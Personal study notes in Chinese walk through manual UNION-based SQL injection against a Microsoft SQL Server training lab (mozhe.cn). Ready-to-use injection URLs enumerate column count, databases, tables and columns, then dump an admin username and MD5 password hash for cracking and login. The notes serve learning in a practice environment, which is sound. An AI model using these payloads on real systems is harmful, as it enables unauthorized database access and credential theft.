个人学习笔记之手工注入测试(Microsoft SQL Server)
启动环境:https://www.mozhe.cn/bug/detail/90
找到注入点
http://219.153.49.228:41537/new_list.asp?id=2-0 返回正常
http://219.153.49.228:41537/new_list.asp?id=2‘ 报错
判断字段
http://219.153.49.228:41537/new_list.asp?id=2 order by 10 报错
http://219.153.49.228:41537/new_list.asp?id=2 order by 5 报错
http://219.153.49.228:41537/new_list.asp?id=2 order by 3 正常
http://219.153.49.228:41537/new_list.asp?id=2 order by 4 正常
由此我们可以判断:字段数为4。
判断可以显示信息的位置
因为数据库为sqlsever,所以我们注入用null,不用数字填充,因为数字填充可能会版本不兼容而报错。
http://219.153.49.228:41537/new_list.asp?id=2 union all select null,null,null,null (这里使用union select 会报错)
- union 对两个结果集进行并集操作,重复数据只显示一次
- union all,对两个结果集进行并集操作,重复数据全部显示
这里找到2 3 位置可以回显信息。
查看数据库
http://219.153.49.228:41537/new_list.asp?id=-2 union all select 1,(select top 1 name from master…sysdatabases where dbid>4),‘aa’,null
这里条件语句写法where dbid>4,是因为Microsoft SQL Server自带四个系统数据库。
我们来查一下试试:)
dbid>1
dbid>2
结果正是如此。
这里还有一种方法可以直接爆出所有数据库。219.153.49.228:41537/new_list.asp?id=-2 union all select 1,(select name from master…sysdatabases for xml path),‘aa’,null
查看表
http://219.153.49.228:41537/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u’ ),‘aa’,null
查询数据库mozhe_db_v2里第一条记录。
查询第二个表名:
http://219.153.49.228:41537/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u’and name <> (‘manage’) ),‘aa’,null
name <> (‘manage’)名字不等于manage的表。
http://219.153.49.228:41537/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u’and name <> ‘manage’ and name <>‘announcement’ ),‘aa’,null
name <> ‘manage’ and name <>‘announcement’ 查询 表字不等于manage,announcement的表。
这里显示空,表示数据库里就只有两张表。
查看字段
http://219.153.49.228:41537/new_list.asp?id=-2 union all select 1,db_name(),(select top 1 col_name(object_id(‘manage’),1) from sysobjects),null
http://219.153.49.228:41537/new_list.asp?id=-2 union all select 1,db_name(),(select top 1 col_name(object_id(‘manage’),2) from sysobjects),null
http://219.153.49.228:41537/new_list.asp?id=-2 union all select 1,db_name(),(select top 1 col_name(object_id(‘manage’),3) from sysobjects),null
查看数据
http://219.153.49.228:41537/new_list.asp?id=-2 union all select null,username, password ,null from manage
得到用户名: admin_mz 密码:72e1bfc3f01b7583(md5加密)
解密
登陆得到key